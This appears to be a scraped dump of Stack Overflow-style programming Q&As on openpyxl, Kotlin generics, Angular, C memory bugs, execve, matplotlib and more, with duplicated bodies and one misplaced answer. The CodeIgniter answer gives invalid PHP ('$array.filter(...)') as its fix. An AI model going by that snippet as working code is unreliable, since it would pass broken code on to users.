            }
            else if(arr[i]>key){
                start=arr[i-jump];
                break;
            }else{
                start=i+1;
            }
        }
        for(int i=start;i<arr.length;i++){
            if(arr[i]==key){
                return i;
            }
        }
        return -1;
    }
}


问:
Why I am not able to load excel files generated in the morning, but can load them in the afternoon in Python using Openpyxl
I am using Python Openpyxl to import excel files which are generated by a online tool. When I import the files generated in the morning, I got an error like this:

```<code>Traceback (most recent call last):
  File "test4.py", line 8, in <module>
   wb = openpyxl.load_workbook (temp2)
  File "C:\Python27\lib\site-packages\openpyxl\reader\excel.py", line 201, in load_workbook
wb.properties = DocumentProperties.from_tree(src)
  File "C:\Python27\lib\site-packages\openpyxl\descriptors\serialisable.py", line 89, in from_tree
return cls(**attrib)
  File "C:\Python27\lib\site-packages\openpyxl\packaging\core.py", line 106, in__init__
self.modified = modified
  File "C:\Python27\lib\site-packages\openpyxl\descriptors\base.py", line 267, in __set__
value = W3CDTF_to_datetime(value)
  File "C:\Python27\lib\site-packages\openpyxl\utils\datetime.py", line 40, in W3CDTF_to_datetime
dt = [int(v) for v in match.groups()[:6]]
  AttributeError: 'NoneType' object has no attribute 'groups'
</code>```

The strange thing is I only got this error when I importing the files which are generated by the online tool in the morning. I tried the same file but generated in the afternoon, it works very well. I'm confused where the problem is. There are no fields in the excel files related to time. And the files generated in the morning and in the afternoon are exactly the same except the modified time. Does anybody can help me with it? Thank you.

答:
Excel files created from this online tool isn't well compatible with openpyxl

The function load_workbook will get workbook-level information and assign to Workbook()'s wb.properties from 'docProps/core.xml' by opening excel file through zipfile. One piece of information is modified time.

The value of modified raise the error, it can't be transported into datetime. The pattern of 'modified' must be openpyxl.utils.datetime.W3CDTF_REGEX, which is W3CDTF|W3C Date and Time Formats

You can check the excel's modified time if it corresponds to W3CDTF. Here is the code:

```<code>from openpyxl.reader.excel import _validate_archive
archive = _validate_archive('/path/to/yourexcel.xlsx')
valid_files = archive.namelist()

# you'll find 'xx/core.xml' I'm not sure if it's 'docProps/core.xml'
print valid_files

# read 'xx/core.xml'
wb_info = archive.read('docProps/core.xml')
print wb_info
</code>```

In wb_info, you will find something like

<dcterms:modified xsi:type="dcterms:W3CDTF">2017-04-01T22:48:48Z</dcterms:modified>.

Contrast wb_info of excel files from online tool and your pc.

Body:
I am using Python Openpyxl to import excel files which are generated by a online tool. When I import the files generated in the morning, I got an error like this:

Traceback (most recent call last):
  File "test4.py", line 8, in <module>
   wb = openpyxl.load_workbook (temp2)
  File "C:\Python27\lib\site-packages\openpyxl\reader\excel.py", line 201, in load_workbook
wb.properties = DocumentProperties.from_tree(src)
  File "C:\Python27\lib\site-packages\openpyxl\descriptors\serialisable.py", line 89, in from_tree
return cls(**attrib)
  File "C:\Python27\lib\site-packages\openpyxl\packaging\core.py", line 106, in__init__
self.modified = modified
  File "C:\Python27\lib\site-packages\openpyxl\descriptors\base.py", line 267, in __set__
value = W3CDTF_to_datetime(value)
  File "C:\Python27\lib\site-packages\openpyxl\utils\datetime.py", line 40, in W3CDTF_to_datetime
dt = [int(v) for v in match.groups()[:6]]
  AttributeError: 'NoneType' object has no attribute 'groups'

The strange thing is I only got this error when I importing the files which are generated by the online tool in the morning. I tried the same file but generated in the afternoon, it works very well. I'm confused where the problem is. There are no fields in the excel files related to time. And the files generated in the morning and in the afternoon are exactly the same except the modified time. Does anybody can help me with it? Thank you.

Body:
Excel files created from this online tool isn't well compatible with openpyxl

The function load_workbook will get workbook-level information and assign to Workbook()'s wb.properties from 'docProps/core.xml' by opening excel file through zipfile. One piece of information is modified time.

The value of modified raise the error, it can't be transported into datetime. The pattern of 'modified' must be openpyxl.utils.datetime.W3CDTF_REGEX, which is W3CDTF|W3C Date and Time Formats

You can check the excel's modified time if it corresponds to W3CDTF. Here is the code:

from openpyxl.reader.excel import _validate_archive
archive = _validate_archive('/path/to/yourexcel.xlsx')
valid_files = archive.namelist()

# you'll find 'xx/core.xml' I'm not sure if it's 'docProps/core.xml'
print valid_files

# read 'xx/core.xml'
wb_info = archive.read('docProps/core.xml')
print wb_info

In wb_info, you will find something like

<dcterms:modified xsi:type="dcterms:W3CDTF">2017-04-01T22:48:48Z</dcterms:modified>.

Contrast wb_info of excel files from online tool and your pc.


问:
Generics for RecyclerView.Adapter Android
I am trying to use a common extension function for all RecyclerView.Adapter in my app so I created an ext fun called notifyAdapter, But it is not working as expected.

```<code>fun <T> RecyclerView.Adapter<RecyclerView.ViewHolder>.notifyAdapter() {
    updateAll()
    notifyDataSetChanged()
}
</code>```

When i use

offlineListAdapter.notifyAdapter() or onlineListAdapter.notifyAdapter()

it throws

Cannot be applied to receiver OfflineListAdapter

OfflineListAdapter.kt

```<code>    class OfflineListAdapter : RecyclerView.Adapter<OfflineListAdapter.OfflineListHolder>() {

      class OfflineListHolder(view: View) : RecyclerView.ViewHolder(view) {

      }
    }
</code>```

How can I create a common extension function for all RecyclerView.Adapter using Generics.

Thanks in advance.

答:
There are a couple ways to do this.

You can mark the ViewHolder parameter with out variance. This way your function isn't generic, so you won't have access to the exact type of the ViewHolder in it.

```<code>fun RecyclerView.Adapter<out RecyclerView.ViewHolder>.notifyAdapter() {  ...  }
</code>```

Alternatively, you can have a generic type parameter for the function that's bound to be a subclass of ViewHolder. This way you can use T inside the function, for example, you could create a listOf<T>() if you wanted to.

```<code>fun <T : RecyclerView.ViewHolder> RecyclerView.Adapter<T>.notifyAdapter() {  ...  }
</code>```

Finally, you could also use star projection, which I believe in this case will give you the exact same result as the first solution, since the type argument of the Adapter class has an upper bound of ViewHolder.

```<code>fun RecyclerView.Adapter<*>.notifyAdapter() {  ...  }
</code>```

You can read in more detail about variance and projections in the offical documentation here.

Body:
I am trying to use a common extension function for all RecyclerView.Adapter in my app so I created an ext fun called notifyAdapter, But it is not working as expected.

fun <T> RecyclerView.Adapter<RecyclerView.ViewHolder>.notifyAdapter() {
    updateAll()
    notifyDataSetChanged()
}

When i use

offlineListAdapter.notifyAdapter() or onlineListAdapter.notifyAdapter()

it throws

Cannot be applied to receiver OfflineListAdapter

OfflineListAdapter.kt

    class OfflineListAdapter : RecyclerView.Adapter<OfflineListAdapter.OfflineListHolder>() {

      class OfflineListHolder(view: View) : RecyclerView.ViewHolder(view) {

      }
    }

How can I create a common extension function for all RecyclerView.Adapter using Generics.

Thanks in advance.

Body:
There are a couple ways to do this.

You can mark the ViewHolder parameter with out variance. This way your function isn't generic, so you won't have access to the exact type of the ViewHolder in it.

fun RecyclerView.Adapter<out RecyclerView.ViewHolder>.notifyAdapter() {  ...  }

Alternatively, you can have a generic type parameter for the function that's bound to be a subclass of ViewHolder. This way you can use T inside the function, for example, you could create a listOf<T>() if you wanted to.

fun <T : RecyclerView.ViewHolder> RecyclerView.Adapter<T>.notifyAdapter() {  ...  }

Finally, you could also use star projection, which I believe in this case will give you the exact same result as the first solution, since the type argument of the Adapter class has an upper bound of ViewHolder.

fun RecyclerView.Adapter<*>.notifyAdapter() {  ...  }

You can read in more detail about variance and projections in the offical documentation here.


问:
Angular-cli/webpack cannot find module when Component Metadata is given by a factory
I'm trying to create a component using a metadata factory such as follows:

@Component(MetadataFactory.Create(module.id))

which returns:

```<code>public static Create(moduleId: string): Component
    {
        return {
            selector: "dummy-selector,
            templateUrl: "./DummyView.html"
        };
}
</code>```

But I get the following error:

It seems that it is trying to find the templateUrl path in the factory folder, which is not the desired behaviour.

Has anyone found a way to work with this?

答:
Works fine for me with this setup, angular 2 and angular-cli 1.0.0</p>

```<code>import { Component } from '@angular/core';

class Util {
    static  Create = (moduleId: string): Component => {
        return {
            selector: 'test-selector',
            templateUrl: './test.html',
        };
    }
}
@Component(Util.Create(module.id))
export class Test {
  constructor() { }
}
</code>```

Body:
I'm trying to create a component using a metadata factory such as follows:

@Component(MetadataFactory.Create(module.id))

which returns:

public static Create(moduleId: string): Component
    {
        return {
            selector: "dummy-selector,
            templateUrl: "./DummyView.html"
        };
}

But I get the following error:

It seems that it is trying to find the templateUrl path in the factory folder, which is not the desired behaviour.

Has anyone found a way to work with this?

Body:
Works fine for me with this setup, angular 2 and angular-cli 1.0.0

import { Component } from '@angular/core';

class Util {
    static  Create = (moduleId: string): Component => {
        return {
            selector: 'test-selector',
            templateUrl: './test.html',
        };
    }
}
@Component(Util.Create(module.id))
export class Test {
  constructor() { }
}


问:
Stack smashing detected when allocating array C
As the title explains the problem. In this function in my program , whenever I allocate a certain size in the array I get huge chunks of error code on my terminal. The array gets copied properly and everything but right after printing it the program crashes. The purpose of the program is to read from file and then store each line in an array index. Your help is much appreciated. Thanks

The array is declared as a pointer in the main and then it is dynamically allocated inside.

```<code>    void read_file_into_array(char **filearray, FILE * fp)
        {
            /* use get line to count # of lines */
            int numlines = -1;
            numlines = linecount(fp);
            size_t size = 50;
            char *buffer;

            buffer = (char *)malloc(size * sizeof(char));
            if (buffer == NULL) {
                perror("Unable to allocate buffer");
                exit(1);
            }

            if (numlines < 0) {
                fprintf(stderr, "error: unable to determine file length.\n");
                return;
            }

            printf(" number of lines counted are ; %d\n", numlines);

            /* allocate array of size numlines + 1 */

            if (!(*filearray = (char *)malloc(numlines + 1 * sizeof(char)))) {
                fprintf(stderr, "error: virtual memory exhausted.\n");
                return;
            }

            fseek(fp, 0, SEEK_SET);
            for (int i = 0; i < numlines; i++) {
                if (!feof(fp)) {
                    fgets(buffer, size, fp);
                    filearray[i] = (char *)malloc(size * sizeof(char *));
                    strcpy(filearray[i], buffer);
                    printf("buffer at %d : %s\n", i, buffer);
                    printf("array at %d : %s\n", i, filearray[i]);
                }
            }
            free(buffer);
        }

        /* THIS IS MY MAIN BELOW */

        int main (int argc, char **argv)

        {
        FILE *fp = NULL;
        char*  array;

        /* open file for reading (default stdin) */
            fp = argc > 1 ? fopen (argv[1], "r") : stdin;

            if (!fp) {  /* validate file open */
                fprintf (stderr, "error: file open failed '%s'\n", argv[1]);
                return 1;
            }

            read_file_into_array (&array, fp);

        if (fp != stdout)
                if (fclose (fp) == EOF) {
                    fprintf (stderr, "error: fclose() returned EOF\n");
                    return 1;
                }

        return 0;
        }

    /* MY LNE COUNT FUNCITON */
    int linecount(FILE *fp) {
    char buff[MAXLINE];
    int count = 0;

    while(fgets(buff,MAXLINE,fp) != NULL) {
    count++;
    }
    return count;
}
</code>```

答:
One of the main issues why you get compilation warnings (+pay attention to the comments which point out other different bugs in your code) is

if (!(*filearray = (char**)malloc(sizeof(char*) * (numlines + 1))))

*filearray is of type char* not char**; + there is no need to cast the value returned by malloc.

char **filearray is actually &array from the main() which is defined as char *array;

Now the following totally breaks the stability and leads to undefined behavior

```<code>filearray[i] = (char *)malloc(size * sizeof(char *));
</code>```

this is equivalent to (&array)[i] = (char *)malloc(size * sizeof(char *));  from the main, this is totally broken. You are walking through the stack, starting from the location of the array from the main and just override everything with the values of char* that are returned by malloc.

If you want your array be array of strings, defined it as char **array, pass it by pointer &array, update the declaration and the usage of filearray accordingly.

Body:
As the title explains the problem. In this function in my program , whenever I allocate a certain size in the array I get huge chunks of error code on my terminal. The array gets copied properly and everything but right after printing it the program crashes. The purpose of the program is to read from file and then store each line in an array index. Your help is much appreciated. Thanks

The array is declared as a pointer in the main and then it is dynamically allocated inside.

    void read_file_into_array(char **filearray, FILE * fp)
        {
            /* use get line to count # of lines */
            int numlines = -1;
            numlines = linecount(fp);
            size_t size = 50;
            char *buffer;

            buffer = (char *)malloc(size * sizeof(char));
            if (buffer == NULL) {
                perror("Unable to allocate buffer");
                exit(1);
            }

            if (numlines < 0) {
                fprintf(stderr, "error: unable to determine file length.\n");
                return;
            }

            printf(" number of lines counted are ; %d\n", numlines);

            /* allocate array of size numlines + 1 */

            if (!(*filearray = (char *)malloc(numlines + 1 * sizeof(char)))) {
                fprintf(stderr, "error: virtual memory exhausted.\n");
                return;
            }

            fseek(fp, 0, SEEK_SET);
            for (int i = 0; i < numlines; i++) {
                if (!feof(fp)) {
                    fgets(buffer, size, fp);
                    filearray[i] = (char *)malloc(size * sizeof(char *));
                    strcpy(filearray[i], buffer);
                    printf("buffer at %d : %s\n", i, buffer);
                    printf("array at %d : %s\n", i, filearray[i]);
                }
            }
            free(buffer);
        }

        /* THIS IS MY MAIN BELOW */

        int main (int argc, char **argv)

        {
        FILE *fp = NULL;
        char*  array;

        /* open file for reading (default stdin) */
            fp = argc > 1 ? fopen (argv[1], "r") : stdin;

            if (!fp) {  /* validate file open */
                fprintf (stderr, "error: file open failed '%s'\n", argv[1]);
                return 1;
            }

            read_file_into_array (&array, fp);

        if (fp != stdout)
                if (fclose (fp) == EOF) {
                    fprintf (stderr, "error: fclose() returned EOF\n");
                    return 1;
                }

        return 0;
        }

    /* MY LNE COUNT FUNCITON */
    int linecount(FILE *fp) {
    char buff[MAXLINE];
    int count = 0;

    while(fgets(buff,MAXLINE,fp) != NULL) {
    count++;
    }
    return count;
}

Body:
One of the main issues why you get compilation warnings (+pay attention to the comments which point out other different bugs in your code) is

if (!(*filearray = (char**)malloc(sizeof(char*) * (numlines + 1))))

*filearray is of type char* not char**; + there is no need to cast the value returned by malloc.

char **filearray is actually &array from the main() which is defined as char *array;

Now the following totally breaks the stability and leads to undefined behavior

filearray[i] = (char *)malloc(size * sizeof(char *));

this is equivalent to (&array)[i] = (char *)malloc(size * sizeof(char *));  from the main, this is totally broken. You are walking through the stack, starting from the location of the array from the main and just override everything with the values of char* that are returned by malloc.

If you want your array be array of strings, defined it as char **array, pass it by pointer &array, update the declaration and the usage of filearray accordingly.


问:
adding rows after for loop in python
Hi I am new to python if I want to add row to an empty matrix after for loop in python how would I be able to do so. This is how I do it in Matlab.</p>

```<code>n = 10000;
tic
A = [];
for i = 1:n
  Ai = rand(1,3);
  A = [A;Ai];
end
toc
</code>```

答:
For example:

Add a list to an empty matrix as a row where [i for i in range(4)] will give you a list [0,1,2,3]

```<code>#empty matrix
mat = []
mat.append([i for i in range(4)])
print mat

#output
[[0,1,2,3]]
</code>```

Title: adding rows after for loop in python

Body:
Hi I am new to python if I want to add row to an empty matrix after for loop in python how would I be able to do so. This is how I do it in Matlab.

n = 10000;
tic
A = [];
for i = 1:n
  Ai = rand(1,3);
  A = [A;Ai];
end
toc

Body:
For example:

Add a list to an empty matrix as a row where [i for i in range(4)] will give you a list [0,1,2,3]

#empty matrix
mat = []
mat.append([i for i in range(4)])
print mat

#output
[[0,1,2,3]]


问:
CodeIgniter: Select the same like parameter on JSON list
I'm trying to use tokeninput from jQuery Token input, but the data is from the API. I already got the data from API and made a JSON list (see below).

When a user inputs in my token input, it will select from the JSON list, like user/auto_unit?queryParam=q for example. It already gets the user input correctly, but it still returns all data, even those that do not match the user input.

What I want is when the user searches for "Sosiologi", the only values that would show are those string which have "sosiologi" in them.

Is it possible to get only the same values and how can I do that? Thanks in advance!

My JSON list:

```<code>// 20170401095401
// http://exp.uin-suka.ac.id/aspirasi/user/auto_unit?queryParam=Filsafat%20Agama

[
  {
    "id": "UA000001",
    "name": "Filsafat Agama"
  },
  {
    "id": "UA000002",
    "name": "Perbandingan Agama"
  },
  {
    "id": "UA000003",
    "name": "Ilmu Al-Qur'an dan Tafsir"
  },
  {
    "id": "UA000004",
    "name": "Sosiologi Agama"
  },
  {
    "id": "UA000005",
    "name": "Matematika"
  },
  {
</code>```

My JSON code to get the list

```<code>function auto_unit() {
    $data['unit'] = $this->m_simpeg->getAllUnit();
    foreach ($data['unit'] as $key ){
        $row['id']= $key['UNIT_ID'];
        $row['name']= $key['UNIT_NAMA'];
        $row_set[] = $row;
    }
    echo json_encode($row_set);
}
</code>```

Model to get API M_simpeg.php:

```<code>public function getAllUnit(){
    return $this->s00_lib_api->post_api(
        1001, 1, null,
        URL_API_SIMPEG.'simpeg_mix/data_view'
    );
}
</code>```

答:
Check your server side code as it is not filtering the array.
 Codeigniter sample code</p>

```<code><?php
function filter(){
$queryParam=$this->input->get('queryParam');
$res=$array.filter($queryParam);
return $res;
}
?>
</code>```

Body:
I'm trying to use tokeninput from jQuery Token input, but the data is from the API. I already got the data from API and made a JSON list (see below).

When a user inputs in my token input, it will select from the JSON list, like user/auto_unit?queryParam=q for example. It already gets the user input correctly, but it still returns all data, even those that do not match the user input.

What I want is when the user searches for "Sosiologi", the only values that would show are those string which have "sosiologi" in them.

Is it possible to get only the same values and how can I do that? Thanks in advance!

My JSON list:

// 20170401095401
// http://exp.uin-suka.ac.id/aspirasi/user/auto_unit?queryParam=Filsafat%20Agama

[
  {
    "id": "UA000001",
    "name": "Filsafat Agama"
  },
  {
    "id": "UA000002",
    "name": "Perbandingan Agama"
  },
  {
    "id": "UA000003",
    "name": "Ilmu Al-Qur'an dan Tafsir"
  },
  {
    "id": "UA000004",
    "name": "Sosiologi Agama"
  },
  {
    "id": "UA000005",
    "name": "Matematika"
  },
  {

My JSON code to get the list

function auto_unit() {
    $data['unit'] = $this->m_simpeg->getAllUnit();
    foreach ($data['unit'] as $key ){
        $row['id']= $key['UNIT_ID'];
        $row['name']= $key['UNIT_NAMA'];
        $row_set[] = $row;
    }
    echo json_encode($row_set);
}

Model to get API M_simpeg.php:

public function getAllUnit(){
    return $this->s00_lib_api->post_api(
        1001, 1, null,
        URL_API_SIMPEG.'simpeg_mix/data_view'
    );
}

Body:
Check your server side code as it is not filtering the array.
 Codeigniter sample code

<?php
function filter(){
$queryParam=$this->input->get('queryParam');
$res=$array.filter($queryParam);
return $res;
}
?>


问:
unix "clear" TERM environment variable not set
I am making my own shell and have set up the fork/exec stuff to execute programs. for commands without a '/' I search the PATH environment for directories with the executable in it. However when I try to use clear in my shell, tells me TERM environment variable not set. I am wondering if it has something to do with this:

```<code>execve(args[0], args, environ);
</code>```

where environ =

```<code>char* environ[] = {NULL};
</code>```

Is there something I need to put in there? Would prefer not using execvp. Any help is appreciated

答:
The shell is supposed to provide its own environment variables to child processes. In fact, pretty much all processes which spawn children are supposed to do that. Normally you'd use execv for that (note the lack of e), which doesn't take the environment as a parameter.

A shell is a special case too, since it's one of the processes which may legitimately modify the environment before passing it to its children. This means you probably will end up needing execve, but you cannot simply pass a fixed array there. You will need to manage the environment you want to pass to your children, loading your own environment at shell start-up, modifying it during each environment modification command, and passing that as environ.

Body:
I am making my own shell and have set up the fork/exec stuff to execute programs. for commands without a '/' I search the PATH environment for directories with the executable in it. However when I try to use clear in my shell, tells me TERM environment variable not set. I am wondering if it has something to do with this:

execve(args[0], args, environ);

where environ =

char* environ[] = {NULL};

Is there something I need to put in there? Would prefer not using execvp. Any help is appreciated


问:
Why address of code segment is zero?
After I updated my kali linux, then I use gcc to compile my program. Before I updated the system, I used objdump to disassembly the program, the .text address is from 0x08048..., but after that, the .text address is from 0x00000..., the gcc version was changed from 6.1.1 to 6.3, what's wrong? Why does this happen?</p>

答: I believe that's because new version builds executables with -fPIE by default (prooflink). Position-independency should theoretically improve security of the system.

Title: Why address of code segment is zero?


答:
You can use append to add rows at the end of an array:</p>

```<code>a = []
for i in range(10):
    a.append([1,2,3])

print a
</code>```

Title: adding rows after for loop in python

Body:
You can use append to add rows at the end of an array:

a = []
for i in range(10):
    a.append([1,2,3])

print a


问:
How do I change the Start and End marker image in Google Maps v3 API for Directions
I have a route plotted fine on using DirectionsRender but I cannot find out how to replace the generic Google markers with my own.

I know and use this in a normal Google Map situation but finding it difficult to do this with the directions markers for start and end.

Thanks for any advice, pointers or gentle mocking if this is a silly question :D

Michael

答:
The DirectionRender takes an option called markerOptions. Quoting from the API docs:

All markers rendered by the DirectionsRenderer will use these options.

So, if you want to set the markers use MarkerImage (as philar has indicated).

Your other option is to pass suppressMarkers: true to the DirectionRender's options and then simply use your own markers.


问:
Python/Matplotlib: adding regression line to a plot given its intercept and slope
Using the following small dataset:

```<code>bill = [34,108,64,88,99,51]
tip =  [5,17,11,8,14,5]
</code>```

I calculated a best-fit regression line (by hand).

```<code>yi = 0.1462*x - 0.8188 #yi = slope(x) + intercept
</code>```

I've plotted my original data using Matplotlib like this:

```<code>plt.scatter(bill,tip, color="black")
plt.xlim(20,120) #set ranges
plt.ylim(4,18)

#plot centroid point (mean of each variable (74,10))
line1 = plt.plot([74, 74],[0,10], ':', c="red")
line2 = plt.plot([0,74],[10,10],':', c="red")

plt.scatter(74,10, c="red")

#annotate the centroid point
plt.annotate('centroid (74,10)', xy=(74.1,10), xytext=(81,9),
        arrowprops=dict(facecolor="black", shrink=0.01),
        )

#label axes
plt.xlabel("Bill amount ($)")
plt.ylabel("Tip amount ($)")

#display plot
plt.show()
</code>```

I am unsure how to get the regression line onto the plot itself. I'm aware that there are plenty of builtin stuff for quickly fitting and displaying best fit lines, but I did this as practice. I know I can start the line at points '0,0.8188' (the intercept), but I don't know how to use the slope value to complete the line (set the lines end points).

Given that for each increase on the x axis, the slope should increase by '0.1462'; for the line coordinates I tried (0,0.8188) for the starting point, and (100,14.62) for the end point. But this line does not pass through my centroid point. It just misses it.

Cheers,
Jon

答:
define function fit, get endpoints of data, put in tuples to plot()</p>

```<code>def fit(x):
    return 0.1462*x - 0.8188 #yi = slope(x) - intercept
xfit, yfit = (min(bill), max(bill)), (fit(min(bill)), fit(max(bill)))
plt.plot(xfit, yfit,'b')
</code>```

Body:
Using the following small dataset:

bill = [34,108,64,88,99,51]
tip =  [5,17,11,8,14,5]

I calculated a best-fit regression line (by hand).

yi = 0.1462*x - 0.8188 #yi = slope(x) + intercept

I've plotted my original data using Matplotlib like this:

plt.scatter(bill,tip, color="black")
plt.xlim(20,120) #set ranges
plt.ylim(4,18)

#plot centroid point (mean of each variable (74,10))
line1 = plt.plot([74, 74],[0,10], ':', c="red")
line2 = plt.plot([0,74],[10,10],':', c="red")

plt.scatter(74,10, c="red")

#annotate the centroid point
plt.annotate('centroid (74,10)', xy=(74.1,10), xytext=(81,9),
        arrowprops=dict(facecolor="black", shrink=0.01),
        )

#label axes
plt.xlabel("Bill amount ($)")
plt.ylabel("Tip amount ($)")

#display plot
plt.show()

I am unsure how to get the regression line onto the plot itself. I'm aware that there are plenty of builtin stuff for quickly fitting and displaying best fit lines, but I did this as practice. I know I can start the line at points '0,0.8188' (the intercept), but I don't know how to use the slope value to complete the line (set the lines end points).

Given that for each increase on the x axis, the slope should increase by '0.1462'; for the line coordinates I tried (0,0.8188) for the starting point, and (100,14.62) for the end point. But this line does not pass through my centroid point. It just misses it.

Cheers,
Jon

Body:
define function fit, get endpoints of data, put in tuples to plot()

def fit(x):
    return 0.1462*x - 0.8188 #yi = slope(x) - intercept
xfit, yfit = (min(bill), max(bill)), (fit(min(bill)), fit(max(bill)))
plt.plot(xfit, yfit,'b')